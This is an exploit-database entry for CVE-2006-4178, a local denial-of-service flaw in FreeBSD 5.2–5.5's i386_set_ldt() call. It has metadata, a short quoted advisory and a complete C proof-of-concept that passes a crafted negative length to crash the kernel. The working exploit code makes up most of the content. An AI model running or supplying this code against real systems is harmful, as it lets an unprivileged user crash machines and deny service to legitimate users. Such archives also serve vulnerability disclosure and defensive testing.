FreeBSD 5.x - 'I386_Set_LDT()' Multiple Local Denial of Service Vulnerabilities

Author: Adriano Lima
type: dos
platform: freebsd
port: 
date_added: 2006-09-23  
date_updated: 2013-09-30  
verified: 1  
codes: CVE-2006-4178;OSVDB-29168  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 28648.c  
// source: https://www.securityfocus.com/bid/20158/info

FreeBSD is prone to multiple local denial-of-service vulnerabilities. These issues occur because of input-validation flaws related to the handling of integers.

An attacker may leverage these issues to cause the affected computer to crash, denying service to legitimate users.

Versions 5.2 through 5.5 are vulnerable to these issues; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
}